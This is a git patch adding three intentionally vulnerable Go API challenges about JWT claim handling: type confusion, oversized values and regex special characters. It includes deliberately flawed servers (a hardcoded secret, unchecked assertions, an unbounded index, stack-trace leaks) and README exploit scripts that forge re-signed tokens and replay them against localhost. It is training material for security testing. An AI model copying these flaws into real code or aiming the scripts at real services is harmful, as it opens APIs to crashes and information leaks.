From 79087f40e42a771fddcbac30a14a738b5d2c2127 Mon Sep 17 00:00:00 2001 From: Emmanuel Gautier Date: Thu, 3 Sep 2026 23:41:57 +0200 Subject: [PATCH 1/2] feat: add JWT claim fuzzing challenges (type confusion, oversized value, special chars) --- README.md | 3 + .../jwt-claim-oversized-value/.gitignore | 14 ++++ .../jwt-claim-oversized-value/Dockerfile | 22 +++++ .../jwt-claim-oversized-value/README.md | 65 ++++++++++++++ challenges/jwt-claim-oversized-value/go.mod | 15 ++++ challenges/jwt-claim-oversized-value/go.sum | 13 +++ challenges/jwt-claim-oversized-value/main.go | 24 ++++++ .../jwt-claim-oversized-value/serve/server.go | 84 +++++++++++++++++++ challenges/jwt-claim-special-chars/.gitignore | 14 ++++ challenges/jwt-claim-special-chars/Dockerfile | 22 +++++ challenges/jwt-claim-special-chars/README.md | 72 ++++++++++++++++ challenges/jwt-claim-special-chars/go.mod | 15 ++++ challenges/jwt-claim-special-chars/go.sum | 13 +++ challenges/jwt-claim-special-chars/main.go | 24 ++++++ .../jwt-claim-special-chars/serve/server.go | 84 +++++++++++++++++++ .../jwt-claim-type-confusion/.gitignore | 14 ++++ .../jwt-claim-type-confusion/Dockerfile | 22 +++++ challenges/jwt-claim-type-confusion/README.md | 73 ++++++++++++++++ challenges/jwt-claim-type-confusion/go.mod | 15 ++++ challenges/jwt-claim-type-confusion/go.sum | 13 +++ challenges/jwt-claim-type-confusion/main.go | 25 ++++++ .../jwt-claim-type-confusion/serve/server.go | 75 +++++++++++++++++ go.work | 3 + 23 files changed, 724 insertions(+) create mode 100644 challenges/jwt-claim-oversized-value/.gitignore create mode 100644 challenges/jwt-claim-oversized-value/Dockerfile create mode 100644 challenges/jwt-claim-oversized-value/README.md create mode 100644 challenges/jwt-claim-oversized-value/go.mod create mode 100644 challenges/jwt-claim-oversized-value/go.sum create mode 100644 challenges/jwt-claim-oversized-value/main.go create mode 100644 challenges/jwt-claim-oversized-value/serve/server.go create mode 100644 challenges/jwt-claim-special-chars/.gitignore create mode 100644 challenges/jwt-claim-special-chars/Dockerfile create mode 100644 challenges/jwt-claim-special-chars/README.md create mode 100644 challenges/jwt-claim-special-chars/go.mod create mode 100644 challenges/jwt-claim-special-chars/go.sum create mode 100644 challenges/jwt-claim-special-chars/main.go create mode 100644 challenges/jwt-claim-special-chars/serve/server.go create mode 100644 challenges/jwt-claim-type-confusion/.gitignore create mode 100644 challenges/jwt-claim-type-confusion/Dockerfile create mode 100644 challenges/jwt-claim-type-confusion/README.md create mode 100644 challenges/jwt-claim-type-confusion/go.mod create mode 100644 challenges/jwt-claim-type-confusion/go.sum create mode 100644 challenges/jwt-claim-type-confusion/main.go create mode 100644 challenges/jwt-claim-type-confusion/serve/server.go diff --git a/README.md b/README.md index ddf12d4..0aea2be 100644 --- a/README.md +++ b/README.md @@ -42,6 +42,9 @@ The following challenges are available in this repository: - [JWT None Algorithm Bypass](challenges/jwt-alg-none-bypass) - [JWT Apple Token Relay](challenges/jwt-apple-token-relay) - [JWT Blank Secret](challenges/jwt-blank-secret) +- [JWT Claim Oversized Value](challenges/jwt-claim-oversized-value) +- [JWT Claim Special Characters](challenges/jwt-claim-special-chars) +- [JWT Claim Type Confusion](challenges/jwt-claim-type-confusion) - [JWT Cross Service Relay](challenges/jwt-cross-service-relay) - [JWT Facebook Token Relay](challenges/jwt-facebook-token-relay) - [JWT Google Token Relay](challenges/jwt-google-token-relay) diff --git a/challenges/jwt-claim-oversized-value/.gitignore b/challenges/jwt-claim-oversized-value/.gitignore new file mode 100644 index 0000000..bc9885f --- /dev/null +++ b/challenges/jwt-claim-oversized-value/.gitignore @@ -0,0 +1,14 @@ +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +jwt-claim-oversized-value diff --git a/challenges/jwt-claim-oversized-value/Dockerfile b/challenges/jwt-claim-oversized-value/Dockerfile new file mode 100644 index 0000000..e87c605 --- /dev/null +++ b/challenges/jwt-claim-oversized-value/Dockerfile @@ -0,0 +1,22 @@ +FROM golang:1.26 AS builder + +WORKDIR /app + +COPY common/ ./common/ +COPY challenges/jwt-claim-oversized-value/ ./challenges/jwt-claim-oversized-value/ + +WORKDIR /app/challenges/jwt-claim-oversized-value +RUN CGO_ENABLED=0 GOWORK=off GOOS=linux go build -o /jwt-claim-oversized-value . + +FROM gcr.io/distroless/static-debian11:nonroot AS runner + +WORKDIR / + +COPY --from=builder --chown=nonroot:nonroot /jwt-claim-oversized-value /usr/bin/jwt-claim-oversized-value + +EXPOSE 8080 + +USER nonroot:nonroot + +ENTRYPOINT ["jwt-claim-oversized-value"] +CMD ["serve"] diff --git a/challenges/jwt-claim-oversized-value/README.md b/challenges/jwt-claim-oversized-value/README.md new file mode 100644 index 0000000..72d5a6f --- /dev/null +++ b/challenges/jwt-claim-oversized-value/README.md @@ -0,0 +1,65 @@ +# JWT Claim Oversized Value + +This challenge demonstrates an API that verifies the JWT signature correctly but then uses a claim's *length* as an array index with no upper bound. A `coupon` claim's length picks a discount tier out of a fixed-size lookup table - every coupon code the developers ever tested with was a handful of characters, so `discountTiers[len(coupon)]` always worked, right up until a claim value far longer than the table crashes the handler with an out-of-range panic. + +A valid signature only proves who signed the token, not that its claim values stay within the size the API implicitly assumed. The crash isn't caught by a generic error handler either - a leftover debug middleware dumps the panic message and the full stack trace straight into the HTTP response. That makes every crash trivially distinguishable from a normal `200`/`401` response by status code, body content, and length - exactly the oracle a JWT claim fuzzer (a `--fuzz`/edit-and-resign mode that mutates claim values across requests, including oversized strings, and flags responses diverging from the baseline) is built to find. + +This is one of a family of related challenges, each isolating a different class of claim mutation a fuzzer tries: + +- [jwt-claim-type-confusion](../jwt-claim-type-confusion): wrong JSON type or `null` for a claim +- **jwt-claim-oversized-value** (this one): a claim value far longer than the API ever expected +- [jwt-claim-special-chars](../jwt-claim-special-chars): a claim value containing characters the API doesn't sanitize before using it structurally + +## How to run it + +```bash +go run main.go serve +``` + +## How to exploit it + +```bash +# Get a legitimate token and confirm the happy path +TOKEN=$(go run main.go jwt) +curl -i http://localhost:8080/checkout -H "Authorization: Bearer $TOKEN" +# -> 200 OK {"coupon":"SAVE10","discount":"5%"} + +# The signing key is a known dev secret, so a mutated claim can be re-signed +# and replayed against the target URL just like a claim fuzzer would. +python3 -c " +import hmac, hashlib, base64, json, time + +def b64(d): + return base64.urlsafe_b64encode(d).rstrip(b'=') + +header = {'alg': 'HS256', 'typ': 'JWT'} +secret = b's3cr3t-dev-key' + +def sign(claims): + h = b64(json.dumps(header, separators=(',', ':')).encode()) + p = b64(json.dumps(claims, separators=(',', ':')).encode()) + signing_input = h + b'.' + p + sig = b64(hmac.new(secret, signing_input, hashlib.sha256).digest()) + return (signing_input + b'.' + sig).decode() + +base = { + 'sub': 'x', 'coupon': 'SAVE10', + 'iat': int(time.time()), 'exp': int(time.time()) + 3600, +} + +print(sign({**base, 'coupon': 'A' * 5000})) +" + +# Replay the mutated token - the baseline (200, ~35 bytes) diverges sharply +# from the crash response (500, ~2KB, containing a full Go stack trace) +curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \ + http://localhost:8080/checkout -H "Authorization: Bearer " +``` + +## Disclaimer + +The challenges provided in this repository are designed to be educational and for testing purposes only. Do not attempt to exploit vulnerabilities in systems or APIs without proper authorization. Always ensure that you have the necessary permissions to conduct security testing on any system or application. + +--- + +Learn more about API security at [Cerberauth](https://www.cerberauth.com/) diff --git a/challenges/jwt-claim-oversized-value/go.mod b/challenges/jwt-claim-oversized-value/go.mod new file mode 100644 index 0000000..f8512e3 --- /dev/null +++ b/challenges/jwt-claim-oversized-value/go.mod @@ -0,0 +1,15 @@ +module github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-oversized-value + +go 1.26 + +require github.com/golang-jwt/jwt/v5 v5.3.1 + +require github.com/spf13/cobra v1.10.2 // indirect + +require ( + github.com/cerberauth/api-vulns-challenges/common v0.0.0-00010101000000-000000000000 + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/spf13/pflag v1.0.10 // indirect +) + +replace github.com/cerberauth/api-vulns-challenges/common => ../../common diff --git a/challenges/jwt-claim-oversized-value/go.sum b/challenges/jwt-claim-oversized-value/go.sum new file mode 100644 index 0000000..5d119f0 --- /dev/null +++ b/challenges/jwt-claim-oversized-value/go.sum @@ -0,0 +1,13 @@ +github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= +github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= +github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= +github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= +github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/challenges/jwt-claim-oversized-value/main.go b/challenges/jwt-claim-oversized-value/main.go new file mode 100644 index 0000000..83a3dd5 --- /dev/null +++ b/challenges/jwt-claim-oversized-value/main.go @@ -0,0 +1,24 @@ +package main + +import ( + "time" + + "github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-oversized-value/serve" + "github.com/cerberauth/api-vulns-challenges/common" + "github.com/golang-jwt/jwt/v5" +) + +func generateToken() (string, error) { + token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ + "sub": "2cb307ba-bb46-4194-854f-4774046d9c9b", + "coupon": "SAVE10", + "iat": time.Now().Unix(), + "exp": time.Now().Add(time.Hour).Unix(), + }) + + return token.SignedString([]byte(serve.HmacSecret)) +} + +func main() { + common.Execute(serve.RunServer, common.NewJwtCmd(generateToken)) +} diff --git a/challenges/jwt-claim-oversized-value/serve/server.go b/challenges/jwt-claim-oversized-value/serve/server.go new file mode 100644 index 0000000..63ce376 --- /dev/null +++ b/challenges/jwt-claim-oversized-value/serve/server.go @@ -0,0 +1,84 @@ +package serve + +import ( + "fmt" + "log" + "net/http" + "runtime/debug" + + "github.com/cerberauth/api-vulns-challenges/common" + "github.com/golang-jwt/jwt/v5" +) + +// HmacSecret is the API's dev-time signing key. It is intentionally known +// here so a valid token can be re-signed after its claims are tampered +// with - the bug this challenge demonstrates lives in how a claim value is +// consumed, not in the signature check itself. +const HmacSecret = "s3cr3t-dev-key" + +// discountTiers maps a coupon code's length to a discount tier. Nobody +// designing this ever expected a coupon code longer than a few characters, +// so the slice was sized generously "just in case" and never bounds-checked. +var discountTiers = []string{ + "0%", "0%", "0%", "0%", "0%", "5%", "5%", "5%", "10%", "10%", + "10%", "15%", "15%", "15%", "20%", "20%", "20%", "25%", "25%", "25%", + "30%", "30%", "30%", "35%", "35%", "35%", "40%", "40%", "40%", "45%", + "45%", "45%", +} + +// debugRecoveryMiddleware is a leftover "helpful" dev-mode handler: rather +// than returning a generic error, it dumps the panic message and the full +// goroutine stack trace straight into the response body. It was meant to +// speed up local debugging and never got stripped out before this API +// shipped, so any request that crashes the handler leaks internals and +// returns a 500 with a body that looks nothing like a normal response. +func debugRecoveryMiddleware(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + defer func() { + if rec := recover(); rec != nil { + w.WriteHeader(http.StatusInternalServerError) + fmt.Fprintf(w, "panic: %v\n\n%s", rec, debug.Stack()) + } + }() + next.ServeHTTP(w, r) + }) +} + +func RunServer(port string) { + mux := http.NewServeMux() + mux.HandleFunc("/checkout", func(w http.ResponseWriter, r *http.Request) { + tokenString, ok := common.ExtractBearerToken(r) + if !ok { + w.WriteHeader(http.StatusUnauthorized) + return + } + + token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { + if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { + return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"]) + } + return []byte(HmacSecret), nil + }) + if err != nil || !token.Valid { + w.WriteHeader(http.StatusUnauthorized) + return + } + + claims := token.Claims.(jwt.MapClaims) + coupon := claims["coupon"].(string) + + // The coupon's raw length indexes straight into a fixed-size + // lookup table with no upper bound. Every coupon the developers + // ever tested with was a handful of characters, so this always + // worked - until a claim value far longer than expected (which + // is exactly what a length/size-boundary fuzz mutation sends) + // walks past the end of the slice. + discount := discountTiers[len(coupon)] + + w.Header().Set("Content-Type", "application/json") + fmt.Fprintf(w, `{"coupon":%q,"discount":%q}`, coupon, discount) + }) + + log.Println("Server started at port", port) + log.Fatal(http.ListenAndServe(":"+port, common.SecurityHeadersMiddleware(debugRecoveryMiddleware(mux)))) +} diff --git a/challenges/jwt-claim-special-chars/.gitignore b/challenges/jwt-claim-special-chars/.gitignore new file mode 100644 index 0000000..1ff7928 --- /dev/null +++ b/challenges/jwt-claim-special-chars/.gitignore @@ -0,0 +1,14 @@ +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +jwt-claim-special-chars diff --git a/challenges/jwt-claim-special-chars/Dockerfile b/challenges/jwt-claim-special-chars/Dockerfile new file mode 100644 index 0000000..8f813cb --- /dev/null +++ b/challenges/jwt-claim-special-chars/Dockerfile @@ -0,0 +1,22 @@ +FROM golang:1.26 AS builder + +WORKDIR /app + +COPY common/ ./common/ +COPY challenges/jwt-claim-special-chars/ ./challenges/jwt-claim-special-chars/ + +WORKDIR /app/challenges/jwt-claim-special-chars +RUN CGO_ENABLED=0 GOWORK=off GOOS=linux go build -o /jwt-claim-special-chars . + +FROM gcr.io/distroless/static-debian11:nonroot AS runner + +WORKDIR / + +COPY --from=builder --chown=nonroot:nonroot /jwt-claim-special-chars /usr/bin/jwt-claim-special-chars + +EXPOSE 8080 + +USER nonroot:nonroot + +ENTRYPOINT ["jwt-claim-special-chars"] +CMD ["serve"] diff --git a/challenges/jwt-claim-special-chars/README.md b/challenges/jwt-claim-special-chars/README.md new file mode 100644 index 0000000..e6a7d68 --- /dev/null +++ b/challenges/jwt-claim-special-chars/README.md @@ -0,0 +1,72 @@ +# JWT Claim Special Characters + +This challenge demonstrates an API that verifies the JWT signature correctly but then compiles a `filter` claim straight into a regular expression with `regexp.MustCompile` instead of `Compile` plus an error check. The claim was meant to hold a simple pattern for scoping which of a client's own records get returned, so nobody validated its syntax first - a value containing unbalanced brackets, braces, parentheses, or an invalid repeat count panics the handler instead of being rejected as a bad filter. + +A valid signature only proves who signed the token, not that its claim values are safe to use structurally. The crash isn't caught by a generic error handler either - a leftover debug middleware dumps the panic message and the full stack trace straight into the HTTP response. That makes every crash trivially distinguishable from a normal `200`/`401` response by status code, body content, and length - exactly the oracle a JWT claim fuzzer (a `--fuzz`/edit-and-resign mode that mutates claim values across requests, including special/meta characters, and flags responses diverging from the baseline) is built to find. + +This is one of a family of related challenges, each isolating a different class of claim mutation a fuzzer tries: + +- [jwt-claim-type-confusion](../jwt-claim-type-confusion): wrong JSON type or `null` for a claim +- [jwt-claim-oversized-value](../jwt-claim-oversized-value): a claim value far longer than the API ever expected +- **jwt-claim-special-chars** (this one): a claim value containing characters the API doesn't sanitize before using it structurally + +## How to run it + +```bash +go run main.go serve +``` + +## How to exploit it + +```bash +# Get a legitimate token and confirm the happy path +TOKEN=$(go run main.go jwt) +curl -i http://localhost:8080/search -H "Authorization: Bearer $TOKEN" +# -> 200 OK {"filter":".*","matches":3} + +# The signing key is a known dev secret, so a mutated claim can be re-signed +# and replayed against the target URL just like a claim fuzzer would. +python3 -c " +import hmac, hashlib, base64, json, time + +def b64(d): + return base64.urlsafe_b64encode(d).rstrip(b'=') + +header = {'alg': 'HS256', 'typ': 'JWT'} +secret = b's3cr3t-dev-key' + +def sign(claims): + h = b64(json.dumps(header, separators=(',', ':')).encode()) + p = b64(json.dumps(claims, separators=(',', ':')).encode()) + signing_input = h + b'.' + p + sig = b64(hmac.new(secret, signing_input, hashlib.sha256).digest()) + return (signing_input + b'.' + sig).decode() + +base = { + 'sub': 'x', 'filter': '.*', + 'iat': int(time.time()), 'exp': int(time.time()) + 3600, +} + +mutations = { + 'unclosed bracket': {**base, 'filter': '[unclosed'}, + 'unbalanced parens': {**base, 'filter': '(unbalanced'}, + 'invalid repeat': {**base, 'filter': 'a{2,1}'}, +} + +for label, claims in mutations.items(): + print(label, '=>', sign(claims)) +" + +# Replay each mutated token - the baseline (200, ~27 bytes) diverges sharply +# from the crash responses (500, ~2KB, containing a full Go stack trace) +curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \ + http://localhost:8080/search -H "Authorization: Bearer " +``` + +## Disclaimer + +The challenges provided in this repository are designed to be educational and for testing purposes only. Do not attempt to exploit vulnerabilities in systems or APIs without proper authorization. Always ensure that you have the necessary permissions to conduct security testing on any system or application. + +--- + +Learn more about API security at [Cerberauth](https://www.cerberauth.com/) diff --git a/challenges/jwt-claim-special-chars/go.mod b/challenges/jwt-claim-special-chars/go.mod new file mode 100644 index 0000000..91dbd42 --- /dev/null +++ b/challenges/jwt-claim-special-chars/go.mod @@ -0,0 +1,15 @@ +module github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-special-chars + +go 1.26 + +require github.com/golang-jwt/jwt/v5 v5.3.1 + +require github.com/spf13/cobra v1.10.2 // indirect + +require ( + github.com/cerberauth/api-vulns-challenges/common v0.0.0-00010101000000-000000000000 + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/spf13/pflag v1.0.10 // indirect +) + +replace github.com/cerberauth/api-vulns-challenges/common => ../../common diff --git a/challenges/jwt-claim-special-chars/go.sum b/challenges/jwt-claim-special-chars/go.sum new file mode 100644 index 0000000..5d119f0 --- /dev/null +++ b/challenges/jwt-claim-special-chars/go.sum @@ -0,0 +1,13 @@ +github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= +github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= +github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= +github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= +github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/challenges/jwt-claim-special-chars/main.go b/challenges/jwt-claim-special-chars/main.go new file mode 100644 index 0000000..2cd47c4 --- /dev/null +++ b/challenges/jwt-claim-special-chars/main.go @@ -0,0 +1,24 @@ +package main + +import ( + "time" + + "github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-special-chars/serve" + "github.com/cerberauth/api-vulns-challenges/common" + "github.com/golang-jwt/jwt/v5" +) + +func generateToken() (string, error) { + token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ + "sub": "2cb307ba-bb46-4194-854f-4774046d9c9b", + "filter": ".*", + "iat": time.Now().Unix(), + "exp": time.Now().Add(time.Hour).Unix(), + }) + + return token.SignedString([]byte(serve.HmacSecret)) +} + +func main() { + common.Execute(serve.RunServer, common.NewJwtCmd(generateToken)) +} diff --git a/challenges/jwt-claim-special-chars/serve/server.go b/challenges/jwt-claim-special-chars/serve/server.go new file mode 100644 index 0000000..cbcc272 --- /dev/null +++ b/challenges/jwt-claim-special-chars/serve/server.go @@ -0,0 +1,84 @@ +package serve + +import ( + "fmt" + "log" + "net/http" + "regexp" + "runtime/debug" + + "github.com/cerberauth/api-vulns-challenges/common" + "github.com/golang-jwt/jwt/v5" +) + +// HmacSecret is the API's dev-time signing key. It is intentionally known +// here so a valid token can be re-signed after its claims are tampered +// with - the bug this challenge demonstrates lives in how a claim value is +// consumed, not in the signature check itself. +const HmacSecret = "s3cr3t-dev-key" + +// debugRecoveryMiddleware is a leftover "helpful" dev-mode handler: rather +// than returning a generic error, it dumps the panic message and the full +// goroutine stack trace straight into the response body. It was meant to +// speed up local debugging and never got stripped out before this API +// shipped, so any request that crashes the handler leaks internals and +// returns a 500 with a body that looks nothing like a normal response. +func debugRecoveryMiddleware(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + defer func() { + if rec := recover(); rec != nil { + w.WriteHeader(http.StatusInternalServerError) + fmt.Fprintf(w, "panic: %v\n\n%s", rec, debug.Stack()) + } + }() + next.ServeHTTP(w, r) + }) +} + +func RunServer(port string) { + mux := http.NewServeMux() + mux.HandleFunc("/search", func(w http.ResponseWriter, r *http.Request) { + tokenString, ok := common.ExtractBearerToken(r) + if !ok { + w.WriteHeader(http.StatusUnauthorized) + return + } + + token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { + if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { + return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"]) + } + return []byte(HmacSecret), nil + }) + if err != nil || !token.Valid { + w.WriteHeader(http.StatusUnauthorized) + return + } + + claims := token.Claims.(jwt.MapClaims) + rawFilter := claims["filter"].(string) + + // The "filter" claim lets a client scope which of their own + // records get returned, so it's compiled straight into a regexp + // with MustCompile instead of Compile+error-check - nobody + // expected a claim to contain anything but a simple pattern. + // Special/meta characters that don't form valid regexp syntax + // (unbalanced brackets, braces, parens, a trailing backslash, ...) + // panic instead of being rejected as a bad filter. + filter := regexp.MustCompile(rawFilter) + + records := []string{"invoice-1001", "invoice-1002", "invoice-1003"} + matches := make([]string, 0, len(records)) + for _, record := range records { + if filter.MatchString(record) { + matches = append(matches, record) + } + } + + w.Header().Set("Content-Type", "application/json") + fmt.Fprintf(w, `{"filter":%q,"matches":%d}`, rawFilter, len(matches)) + }) + + log.Println("Server started at port", port) + log.Fatal(http.ListenAndServe(":"+port, common.SecurityHeadersMiddleware(debugRecoveryMiddleware(mux)))) +} diff --git a/challenges/jwt-claim-type-confusion/.gitignore b/challenges/jwt-claim-type-confusion/.gitignore new file mode 100644 index 0000000..21f2844 --- /dev/null +++ b/challenges/jwt-claim-type-confusion/.gitignore @@ -0,0 +1,14 @@ +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +jwt-claim-type-confusion diff --git a/challenges/jwt-claim-type-confusion/Dockerfile b/challenges/jwt-claim-type-confusion/Dockerfile new file mode 100644 index 0000000..75a80a1 --- /dev/null +++ b/challenges/jwt-claim-type-confusion/Dockerfile @@ -0,0 +1,22 @@ +FROM golang:1.26 AS builder + +WORKDIR /app + +COPY common/ ./common/ +COPY challenges/jwt-claim-type-confusion/ ./challenges/jwt-claim-type-confusion/ + +WORKDIR /app/challenges/jwt-claim-type-confusion +RUN CGO_ENABLED=0 GOWORK=off GOOS=linux go build -o /jwt-claim-type-confusion . + +FROM gcr.io/distroless/static-debian11:nonroot AS runner + +WORKDIR / + +COPY --from=builder --chown=nonroot:nonroot /jwt-claim-type-confusion /usr/bin/jwt-claim-type-confusion + +EXPOSE 8080 + +USER nonroot:nonroot + +ENTRYPOINT ["jwt-claim-type-confusion"] +CMD ["serve"] diff --git a/challenges/jwt-claim-type-confusion/README.md b/challenges/jwt-claim-type-confusion/README.md new file mode 100644 index 0000000..e7e1f3b --- /dev/null +++ b/challenges/jwt-claim-type-confusion/README.md @@ -0,0 +1,73 @@ +# JWT Claim Type Confusion + +This challenge demonstrates an API that verifies the JWT signature correctly but then trusts every claim value blindly: `name` and `roles` are type-asserted straight to the type the happy path expects, with no `ok`-check. A valid signature only proves who signed the token, not that its claims have the right shape - a claim of the wrong JSON type (a number/bool/object instead of a string, or a string instead of an array) crashes the handler. So does JSON `null`, since it decodes to a bare `nil` interface{} that fails the type assertion exactly like a wrong type does. + +The crash isn't caught by a generic error handler either - a leftover debug middleware dumps the panic message and the full stack trace straight into the HTTP response. That makes every crash trivially distinguishable from a normal `200`/`401` response by status code, body content, and length - exactly the oracle a JWT claim fuzzer (a `--fuzz`/edit-and-resign mode that mutates claim values across requests and flags responses diverging from the baseline) is built to find. + +This is one of a family of related challenges, each isolating a different class of claim mutation a fuzzer tries: + +- **jwt-claim-type-confusion** (this one): wrong JSON type or `null` for a claim +- [jwt-claim-oversized-value](../jwt-claim-oversized-value): a claim value far longer than the API ever expected +- [jwt-claim-special-chars](../jwt-claim-special-chars): a claim value containing characters the API doesn't sanitize before using it structurally + +## How to run it + +```bash +go run main.go serve +``` + +## How to exploit it + +```bash +# Get a legitimate token and confirm the happy path +TOKEN=$(go run main.go jwt) +curl -i http://localhost:8080/profile -H "Authorization: Bearer $TOKEN" +# -> 200 OK {"name":"John Doe","roles":1} + +# The signing key is a known dev secret, so mutated claims can be re-signed +# and replayed against the target URL just like a claim fuzzer would. +python3 -c " +import hmac, hashlib, base64, json, time + +def b64(d): + return base64.urlsafe_b64encode(d).rstrip(b'=') + +header = {'alg': 'HS256', 'typ': 'JWT'} +secret = b's3cr3t-dev-key' + +def sign(claims): + h = b64(json.dumps(header, separators=(',', ':')).encode()) + p = b64(json.dumps(claims, separators=(',', ':')).encode()) + signing_input = h + b'.' + p + sig = b64(hmac.new(secret, signing_input, hashlib.sha256).digest()) + return (signing_input + b'.' + sig).decode() + +base = { + 'sub': 'x', 'name': 'John Doe', 'roles': ['reader'], + 'iat': int(time.time()), 'exp': int(time.time()) + 3600, +} + +mutations = { + 'name -> number': {**base, 'name': 12345}, + 'name -> null': {**base, 'name': None}, + 'roles -> string': {**base, 'roles': 'admin'}, + 'roles -> null': {**base, 'roles': None}, +} + +for label, claims in mutations.items(): + print(label, '=>', sign(claims)) +" + +# Replay each mutated token - the baseline (200, ~30 bytes) diverges sharply +# from the crash responses (500, ~2KB, containing a full Go stack trace) +curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \ + http://localhost:8080/profile -H "Authorization: Bearer " +``` + +## Disclaimer + +The challenges provided in this repository are designed to be educational and for testing purposes only. Do not attempt to exploit vulnerabilities in systems or APIs without proper authorization. Always ensure that you have the necessary permissions to conduct security testing on any system or application. + +--- + +Learn more about API security at [Cerberauth](https://www.cerberauth.com/) diff --git a/challenges/jwt-claim-type-confusion/go.mod b/challenges/jwt-claim-type-confusion/go.mod new file mode 100644 index 0000000..cf040d0 --- /dev/null +++ b/challenges/jwt-claim-type-confusion/go.mod @@ -0,0 +1,15 @@ +module github.com/cerberauth/api-vulns-challenges/challenges/jwt-claim-type-confusion + +go 1.26 + +require github.com/golang-jwt/jwt/v5 v5.3.1 + +require github.com/spf13/cobra v1.10.2 // indirect + +require ( + github.com/cerberauth/api-vulns-challenges/common v0.0.0-00010101000000-000000000000 + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/spf13/pflag v1.0.10 // indirect +) + +replace github.com/cerberauth/api-vulns-challenges/common => ../../common diff --git a/challenges/jwt-claim-type-confusion/go.sum b/challenges/jwt-claim-type-confusion/go.sum new file mode 100644 index 0000000..5d119f0 --- /dev/null +++ b/challenges/jwt-claim-type-confusion/go.sum @@ -0,0 +1,13 @@ 